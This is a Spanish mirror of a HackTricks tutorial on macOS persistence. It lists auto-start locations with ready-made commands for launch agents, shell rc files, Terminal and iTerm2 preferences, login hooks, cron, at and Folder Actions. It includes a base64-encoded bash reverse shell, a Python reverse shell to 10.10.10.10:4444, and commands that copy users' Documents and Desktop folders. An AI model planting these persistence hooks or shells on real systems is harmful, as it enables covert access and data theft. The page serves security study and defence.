mirror of https://github.com/carlospolop/hacktricks synced 2024-11-29 08:01:00 +00:00

Translator c85bea12b3 Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb

2024-07-18 17:32:15 +00:00

72 KiB

Raw Blame History

Inicio Automático en macOS

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

¡Consulta los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de GitHub.

{% endhint %}

Esta sección se basa en gran medida en la serie de blogs Beyond the good ol' LaunchAgents, el objetivo es agregar más ubicaciones de inicio automático (si es posible), indicar qué técnicas siguen funcionando en la actualidad con la última versión de macOS (13.4) y especificar los permisos necesarios.

Bypass de la Caja de Arena

{% hint style="success" %} Aquí puedes encontrar ubicaciones de inicio útiles para bypass de la caja de arena que te permite simplemente ejecutar algo escribiéndolo en un archivo y esperando una acción muy común, una cantidad determinada de tiempo o una acción que normalmente puedes realizar desde dentro de una caja de arena sin necesidad de permisos de root. {% endhint %}

Launchd

Útil para bypass de la caja de arena: ✅
Bypass de TCC: 🔴

Ubicaciones

/Library/LaunchAgents
Disparador: Reinicio
Se requiere permisos de root
/Library/LaunchDaemons
Disparador: Reinicio
Se requiere permisos de root
/System/Library/LaunchAgents
Disparador: Reinicio
Se requiere permisos de root
/System/Library/LaunchDaemons
Disparador: Reinicio
Se requiere permisos de root
~/Library/LaunchAgents
Disparador: Volver a iniciar sesión
~/Library/LaunchDemons
Disparador: Volver a iniciar sesión

{% hint style="success" %} Como dato interesante, launchd tiene una lista de propiedades incrustada en la sección Mach-o __Text.__config que contiene otros servicios conocidos que launchd debe iniciar. Además, estos servicios pueden contener RequireSuccess, RequireRun y RebootOnSuccess, lo que significa que deben ejecutarse y completarse con éxito.

Por supuesto, no se puede modificar debido a la firma de código. {% endhint %}

Descripción y Explotación

launchd es el primer proceso ejecutado por el kernel de OX S al inicio y el último en finalizar al apagar. Siempre debería tener el PID 1. Este proceso lee y ejecuta las configuraciones indicadas en los plists de ASEP en:

/Library/LaunchAgents: Agentes por usuario instalados por el administrador
/Library/LaunchDaemons: Demonios de todo el sistema instalados por el administrador
/System/Library/LaunchAgents: Agentes por usuario proporcionados por Apple.
/System/Library/LaunchDaemons: Demonios de todo el sistema proporcionados por Apple.

Cuando un usuario inicia sesión, los plists ubicados en /Users/$USER/Library/LaunchAgents y /Users/$USER/Library/LaunchDemons se inician con los permisos de los usuarios conectados.

La diferencia principal entre agentes y demonios es que los agentes se cargan cuando el usuario inicia sesión y los demonios se cargan al iniciar el sistema (ya que hay servicios como ssh que necesitan ejecutarse antes de que cualquier usuario acceda al sistema). Además, los agentes pueden usar la interfaz gráfica mientras que los demonios deben ejecutarse en segundo plano.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Hay casos en los que un agente necesita ser ejecutado antes de que el usuario inicie sesión, estos se llaman PreLoginAgents. Por ejemplo, esto es útil para proporcionar tecnología de asistencia en el inicio de sesión. También se pueden encontrar en /Library/LaunchAgents (ver aquí un ejemplo).

{% hint style="info" %} Los nuevos archivos de configuración de Daemons o Agents se cargarán después del próximo reinicio o usando launchctl load <target.plist> También es posible cargar archivos .plist sin esa extensión con launchctl -F <file> (sin embargo, esos archivos plist no se cargarán automáticamente después del reinicio).
También es posible descargar con launchctl unload <target.plist> (el proceso al que apunta será terminado).

Para asegurarse de que no haya nada (como una anulación) impidiendo que un Agente o Daemon se ejecute, ejecute: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist {% endhint %}

Listar todos los agentes y daemons cargados por el usuario actual:

launchctl list

{% hint style="warning" %} Si un plist es propiedad de un usuario, incluso si está en carpetas de sistema de demonios, la tarea se ejecutará como el usuario y no como root. Esto puede prevenir algunos ataques de escalada de privilegios. {% endhint%}

Más información sobre launchd

launchd es el primer proceso en modo de usuario que se inicia desde el kernel. El inicio del proceso debe ser exitoso y no puede salir ni fallar. Está incluso protegido contra algunas señales de finalización.

Una de las primeras cosas que hará launchd es iniciar todos los demonios como:

Demonios temporizadores basados en tiempo para ser ejecutados:
- atd (com.apple.atrun.plist): Tiene un StartInterval de 30 minutos
- crond (com.apple.systemstats.daily.plist): Tiene StartCalendarInterval para iniciar a las 00:15
Demonios de red como:
- org.cups.cups-lpd: Escucha en TCP (SockType: stream) con SockServiceName: printer
- SockServiceName debe ser un puerto o un servicio de /etc/services
- com.apple.xscertd.plist: Escucha en TCP en el puerto 1640
Demonios de ruta que se ejecutan cuando cambia una ruta especificada:
- com.apple.postfix.master: Verifica la ruta /etc/postfix/aliases
Demonios de notificaciones de IOKit:
- com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
Puerto Mach:
- com.apple.xscertd-helper.plist: Indica en la entrada MachServices el nombre com.apple.xscertd.helper
UserEventAgent:
- Esto es diferente al anterior. Hace que launchd genere aplicaciones en respuesta a eventos específicos. Sin embargo, en este caso, el binario principal involucrado no es launchd sino /usr/libexec/UserEventAgent. Carga complementos desde la carpeta restringida por SIP /System/Library/UserEventPlugins/ donde cada complemento indica su inicializador en la clave XPCEventModuleInitializer o, en el caso de complementos más antiguos, en el diccionario CFPluginFactories bajo la clave FB86416D-6164-2070-726F-70735C216EC0 de su Info.plist.

Archivos de inicio de shell

Descripción: https://theevilbit.github.io/beyond/beyond_0001/
Descripción (xterm): https://theevilbit.github.io/beyond/beyond_0018/

Útil para evadir el sandbox: ✅
Bypass de TCC: ✅
Pero necesitas encontrar una aplicación con un bypass de TCC que ejecute un shell que cargue estos archivos

Ubicaciones

~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
- Disparador: Abrir una terminal con zsh
/etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
- Disparador: Abrir una terminal con zsh
- Se requiere permisos de root
~/.zlogout
- Disparador: Salir de una terminal con zsh
/etc/zlogout
- Disparador: Salir de una terminal con zsh
- Se requieren permisos de root
Potencialmente más en: man zsh
~/.bashrc
- Disparador: Abrir una terminal con bash
/etc/profile (no funcionó)
~/.profile (no funcionó)
~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
- Disparador: Se espera que se active con xterm, pero no está instalado y aún después de instalarlo se produce este error: xterm: DISPLAY is not set

Descripción y Explotación

Al iniciar un entorno de shell como zsh o bash, se ejecutan ciertos archivos de inicio. macOS actualmente utiliza /bin/zsh como shell predeterminado. Este shell se accede automáticamente cuando se inicia la aplicación Terminal o cuando se accede a un dispositivo a través de SSH. Si bien bash y sh también están presentes en macOS, deben ser invocados explícitamente para ser utilizados.

La página de manual de zsh, que podemos leer con man zsh, tiene una larga descripción de los archivos de inicio.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Aplicaciones Reabiertas

{% hint style="danger" %} Configurar la explotación indicada y cerrar sesión e iniciar sesión o incluso reiniciar no funcionó para mí para ejecutar la aplicación. (La aplicación no se estaba ejecutando, tal vez necesita estar en ejecución cuando se realizan estas acciones) {% endhint %}

Descripción: https://theevilbit.github.io/beyond/beyond_0021/

Útil para evadir el sandbox: ✅
Bypass de TCC: 🔴

Ubicación

~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Disparador: Reiniciar la reapertura de aplicaciones

Descripción y Explotación

Todas las aplicaciones a reabrir están dentro del plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Por lo tanto, para hacer que las aplicaciones reabiertas lancen la suya propia, solo necesita agregar su aplicación a la lista.

El UUID se puede encontrar listando ese directorio o con ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Para verificar las aplicaciones que se reabrirán, puede hacer:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Para agregar una aplicación a esta lista puedes usar:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Preferencias de Terminal

Útil para evitar la sandbox: ✅
Bypass de TCC: ✅
Terminal usa permisos de FDA si el usuario lo utiliza

Ubicación

~/Library/Preferences/com.apple.Terminal.plist
Desencadenante: Abrir Terminal

Descripción y Explotación

En ~/Library/Preferences se almacenan las preferencias del usuario en las aplicaciones. Algunas de estas preferencias pueden contener una configuración para ejecutar otras aplicaciones/scripts.

Por ejemplo, Terminal puede ejecutar un comando al iniciar:

Esta configuración se refleja en el archivo ~/Library/Preferences/com.apple.Terminal.plist de la siguiente manera:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Entonces, si se pudiera sobrescribir el plist de las preferencias del terminal en el sistema, la funcionalidad open se puede utilizar para abrir el terminal y ejecutar ese comando.

Esto se puede agregar desde la línea de comandos con:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

{% endcode %}

Scripts de Terminal / Otras extensiones de archivo

Útil para evadir el sandbox: ✅
Bypass de TCC: ✅
Terminal usa permisos de FDA si el usuario lo utiliza

Ubicación

En cualquier lugar
Desencadenante: Abrir Terminal

Descripción y Explotación

Si creas un script .terminal y lo abres, la aplicación Terminal se invocará automáticamente para ejecutar los comandos indicados en él. Si la app Terminal tiene algunos privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.

Pruébalo con:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

También se pueden usar las extensiones .command, .tool, con contenido de scripts de shell regular y también se abrirán en Terminal.

{% hint style="danger" %} Si Terminal tiene Acceso completo al disco, podrá completar esa acción (nota que el comando ejecutado será visible en una ventana de terminal). {% endhint %}

Plugins de Audio

Descripción: https://theevilbit.github.io/beyond/beyond_0013/
Descripción: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

Útil para evadir el sandbox: ✅
Bypass de TCC: 🟠
Podrías obtener acceso adicional a TCC

Ubicación

/Library/Audio/Plug-Ins/HAL
Se requieren permisos de root
Desencadenar: Reiniciar coreaudiod o la computadora
/Library/Audio/Plug-ins/Components
Se requieren permisos de root
Desencadenar: Reiniciar coreaudiod o la computadora
~/Library/Audio/Plug-ins/Components
Desencadenar: Reiniciar coreaudiod o la computadora
/System/Library/Components
Se requieren permisos de root
Desencadenar: Reiniciar coreaudiod o la computadora

Descripción

Según las descripciones anteriores, es posible compilar algunos plugins de audio y cargarlos.

Plugins de QuickLook

Descripción: https://theevilbit.github.io/beyond/beyond_0028/

Útil para evadir el sandbox: ✅
Bypass de TCC: 🟠
Podrías obtener acceso adicional a TCC

Ubicación

/System/Library/QuickLook
/Library/QuickLook
~/Library/QuickLook
/Applications/NombredelaAplicación/Aplicación/Contenidos/Biblioteca/QuickLook/
~/Applications/NombredelaAplicación/Aplicación/Contenidos/Biblioteca/QuickLook/

Descripción y Explotación

Los plugins de QuickLook se pueden ejecutar cuando se activa la vista previa de un archivo (presionando la barra espaciadora con el archivo seleccionado en Finder) y se instala un plugin que admita ese tipo de archivo.

Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubicaciones anteriores para cargarlo y luego ir a un archivo compatible y presionar espacio para activarlo.

Ganchos de Inicio/Cierre de Sesión

{% hint style="danger" %} Esto no funcionó para mí, ni con el LoginHook de usuario ni con el LogoutHook de root {% endhint %}

Descripción: https://theevilbit.github.io/beyond/beyond_0022/

Útil para evadir el sandbox: ✅
Bypass de TCC: 🔴

Ubicación

Necesitas poder ejecutar algo como defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
Localizado en ~/Library/Preferences/com.apple.loginwindow.plist

Están obsoletos pero se pueden usar para ejecutar comandos cuando un usuario inicia sesión.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Este ajuste se almacena en /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Para eliminarlo:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

El usuario root se almacena en /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Bypass condicional de Sandbox

{% hint style="success" %} Aquí puedes encontrar ubicaciones de inicio útiles para bypass de sandbox que te permiten simplemente ejecutar algo escribiéndolo en un archivo y esperando condiciones no muy comunes como programas específicos instalados, acciones de usuario "poco comunes" o entornos. {% endhint %}

Cron

Descripción: https://theevilbit.github.io/beyond/beyond_0004/

Útil para bypass de sandbox: ✅
Sin embargo, necesitas poder ejecutar el binario crontab
O ser root
Bypass de TCC: 🔴

Ubicación

/usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
Se requiere ser root para acceso de escritura directa. No se requiere ser root si puedes ejecutar crontab <archivo>
Desencadenante: Depende del trabajo cron

Descripción y Explotación

Lista los trabajos cron del usuario actual con:

crontab -l

También puedes ver todos los trabajos cron de los usuarios en /usr/lib/cron/tabs/ y /var/at/tabs/ (necesita permisos de root).

En MacOS se pueden encontrar varias carpetas que ejecutan scripts con cierta frecuencia en:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Allí puedes encontrar los trabajos cron regulares, los trabajos at (poco utilizados) y los trabajos periódicos (principalmente utilizados para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: periodic daily.

Para agregar un trabajo cron de usuario programáticamente es posible utilizar:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Escritura: https://theevilbit.github.io/beyond/beyond_0002/

Útil para evadir la sandbox: ✅
Bypass de TCC: ✅
iTerm2 solía tener permisos TCC otorgados

Ubicaciones

~/Library/Application Support/iTerm2/Scripts/AutoLaunch
Desencadenar: Abrir iTerm
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
Desencadenar: Abrir iTerm
~/Library/Preferences/com.googlecode.iterm2.plist
Desencadenar: Abrir iTerm

Descripción y Explotación

Los scripts almacenados en ~/Library/Application Support/iTerm2/Scripts/AutoLaunch se ejecutarán. Por ejemplo:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

El archivo ~/Library/LaunchAgents contiene agentes de lanzamiento de usuario.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

El script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt también se ejecutará:

do shell script "touch /tmp/iterm2-autolaunchscpt"

El archivo de preferencias de iTerm2 ubicado en ~/Library/Preferences/com.googlecode.iterm2.plist puede indicar un comando a ejecutar cuando se abre el terminal de iTerm2.

Esta configuración se puede ajustar en la configuración de iTerm2:

Y el comando se refleja en las preferencias:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Puedes configurar el comando a ejecutar con:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

{% endcode %}

{% hint style="warning" %} Es altamente probable que haya otras formas de abusar de las preferencias de iTerm2 para ejecutar comandos arbitrarios. {% endhint %}

xbar

Explicación: https://theevilbit.github.io/beyond/beyond_0007/

Útil para evadir el sandbox: ✅
Pero xbar debe estar instalado
Bypass de TCC: ✅
Requiere permisos de Accesibilidad

Ubicación

~/Library/Application\ Support/xbar/plugins/
Disparador: Una vez que xbar es ejecutado

Descripción

Si el popular programa xbar está instalado, es posible escribir un script de shell en ~/Library/Application\ Support/xbar/plugins/ que se ejecutará al iniciar xbar:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Descripción: https://theevilbit.github.io/beyond/beyond_0008/

Útil para evadir el sandbox: ✅
Pero Hammerspoon debe estar instalado
Bypass de TCC: ✅
Requiere permisos de Accesibilidad

Ubicación

~/.hammerspoon/init.lua
Disparador: Una vez que se ejecuta Hammerspoon

Descripción

Hammerspoon sirve como una plataforma de automatización para macOS, aprovechando el lenguaje de script LUA para sus operaciones. Notablemente, admite la integración de código completo de AppleScript y la ejecución de scripts de shell, mejorando significativamente sus capacidades de scripting.

La aplicación busca un único archivo, ~/.hammerspoon/init.lua, y cuando se inicia, se ejecutará el script.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

Útil para evadir el sandbox: ✅
Pero BetterTouchTool debe estar instalado
Bypass de TCC: ✅
Solicita permisos de Automatización de accesos directos y Accesibilidad

Ubicación

~/Library/Application Support/BetterTouchTool/*

Esta herramienta permite indicar aplicaciones o scripts para ejecutar cuando se presionan algunos accesos directos. Un atacante podría configurar su propio acceso directo y acción para ejecutar en la base de datos para hacer que ejecute código arbitrario (un acceso directo podría ser simplemente presionar una tecla).

Alfred

Útil para evadir el sandbox: ✅
Pero Alfred debe estar instalado
Bypass de TCC: ✅
Solicita permisos de Automatización, Accesibilidad e incluso acceso completo al disco

Ubicación

???

Permite crear flujos de trabajo que pueden ejecutar código cuando se cumplen ciertas condiciones. Potencialmente es posible que un atacante cree un archivo de flujo de trabajo y haga que Alfred lo cargue (es necesario pagar la versión premium para usar flujos de trabajo).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

Útil para evadir el sandbox: ✅
Pero ssh necesita estar habilitado y usado
Bypass de TCC: ✅
SSH solía tener acceso completo al disco

Ubicación

~/.ssh/rc
Disparador: Inicio de sesión a través de ssh
/etc/ssh/sshrc
Se requiere permisos de root
Disparador: Inicio de sesión a través de ssh

{% hint style="danger" %} Para activar ssh se requiere Acceso Completo al Disco:

sudo systemsetup -setremotelogin on

{% endhint %}

Descripción y Explotación

Por defecto, a menos que PermitUserRC no en /etc/ssh/sshd_config, cuando un usuario inicia sesión a través de SSH los scripts /etc/ssh/sshrc y ~/.ssh/rc se ejecutarán.

Elementos de Inicio de Sesión

Descripción: https://theevilbit.github.io/beyond/beyond_0003/

Útil para evadir la sandbox: ✅
Pero necesitas ejecutar osascript con argumentos
Bypass de TCC: 🔴

Ubicaciones

~/Library/Application Support/com.apple.backgroundtaskmanagementagent
Disparador: Inicio de sesión
Carga útil de explotación almacenada llamando a osascript
/var/db/com.apple.xpc.launchd/loginitems.501.plist
Disparador: Inicio de sesión
Se requieren permisos de root

Descripción

En Preferencias del Sistema -> Usuarios y Grupos -> Elementos de Inicio de Sesión puedes encontrar elementos que se ejecutarán cuando el usuario inicie sesión.
Es posible listarlos, agregar y eliminar desde la línea de comandos:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Estos elementos se almacenan en el archivo ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Los elementos de inicio de sesión también se pueden indicar utilizando la API SMLoginItemSetEnabled que almacenará la configuración en /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP como Elemento de Inicio de Sesión

(Consulte la sección anterior sobre Elementos de Inicio de Sesión, esta es una extensión)

Si almacenas un archivo ZIP como un Elemento de Inicio de Sesión, el Archive Utility lo abrirá y si el zip estaba almacenado, por ejemplo, en ~/Library y contenía la carpeta LaunchAgents/file.plist con un backdoor, esa carpeta se creará (no lo está de forma predeterminada) y el plist se agregará para que la próxima vez que el usuario vuelva a iniciar sesión, se ejecute el backdoor indicado en el plist.

Otra opción sería crear los archivos .bash_profile y .zshenv dentro del directorio HOME del usuario, por lo que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.

At

Artículo: https://theevilbit.github.io/beyond/beyond_0014/

Útil para evadir el sandbox: ✅
Pero necesitas ejecutar at y debe estar habilitado
Bypass de TCC: 🔴

Ubicación

Necesitas ejecutar at y debe estar habilitado

Descripción

Las tareas de at están diseñadas para programar tareas únicas que se ejecutarán en momentos específicos. A diferencia de los trabajos cron, las tareas de at se eliminan automáticamente después de la ejecución. Es crucial tener en cuenta que estas tareas son persistentes en reinicios del sistema, lo que las convierte en posibles preocupaciones de seguridad bajo ciertas condiciones.

Por defecto están deshabilitadas, pero el usuario root puede habilitarlas con:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Esto creará un archivo en 1 hora:

echo "echo 11 > /tmp/at.txt" | at now+1

Verifica la cola de trabajos usando atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Arriba podemos ver dos trabajos programados. Podemos imprimir los detalles del trabajo usando at -c NÚMERO_DE_TRABAJO

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

{% hint style="warning" %} Si las tareas de AT no están habilitadas, las tareas creadas no se ejecutarán. {% endhint %}

Los archivos de trabajo se pueden encontrar en /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

El nombre de archivo contiene la cola, el número de trabajo y la hora programada para ejecutarse. Por ejemplo, veamos a0001a019bdcd2.

a - esta es la cola
0001a - número de trabajo en hexadecimal, 0x1a = 26
019bdcd2 - hora en hexadecimal. Representa los minutos transcurridos desde la época. 0x019bdcd2 es 26991826 en decimal. Si lo multiplicamos por 60 obtenemos 1619509560, que es GMT: 2021. April 27., Tuesday 7:46:00.

Si imprimimos el archivo de trabajo, encontramos que contiene la misma información que obtuvimos usando at -c.

Acciones de Carpeta

Descripción: https://theevilbit.github.io/beyond/beyond_0024/
Descripción: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

Útil para evadir el sandbox: ✅
Pero necesitas poder llamar a osascript con argumentos para contactar con System Events y poder configurar Acciones de Carpeta
Bypass de TCC: 🟠
Tiene algunos permisos básicos de TCC como Escritorio, Documentos y Descargas

Ubicación

/Library/Scripts/Folder Action Scripts
Requiere permisos de root
Disparador: Acceso a la carpeta especificada
~/Library/Scripts/Folder Action Scripts
Disparador: Acceso a la carpeta especificada

Descripción y Explotación

Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar, quitar elementos u otras acciones como abrir o cambiar el tamaño de la ventana de la carpeta. Estas acciones pueden ser utilizadas para diversas tareas y pueden ser activadas de diferentes formas, como mediante la interfaz de Finder o comandos de terminal.

Para configurar Acciones de Carpeta, tienes opciones como:

Crear un flujo de trabajo de Acción de Carpeta con Automator e instalarlo como un servicio.
Adjuntar un script manualmente a través de la Configuración de Acciones de Carpeta en el menú contextual de una carpeta.
Utilizar OSAScript para enviar mensajes de Evento de Apple a la aplicación System Events.app para configurar programáticamente una Acción de Carpeta.

Este método es particularmente útil para incrustar la acción en el sistema, ofreciendo un nivel de persistencia.

El siguiente script es un ejemplo de lo que puede ser ejecutado por una Acción de Carpeta:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Para hacer que el script anterior sea utilizable por las Acciones de Carpeta, compílalo usando:

osacompile -l JavaScript -o folder.scpt source.js

Después de compilar el script, configura las Acciones de Carpeta ejecutando el script a continuación. Este script habilitará las Acciones de Carpeta de forma global y adjuntará específicamente el script previamente compilado a la carpeta Escritorio.

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

Ejecuta el script de configuración con:

osascript -l JavaScript /Users/username/attach.scpt

Esta es la forma de implementar esta persistencia a través de la GUI:

Este es el script que se ejecutará:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

Compílalo con: osacompile -l JavaScript -o folder.scpt source.js

Muévelo a:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

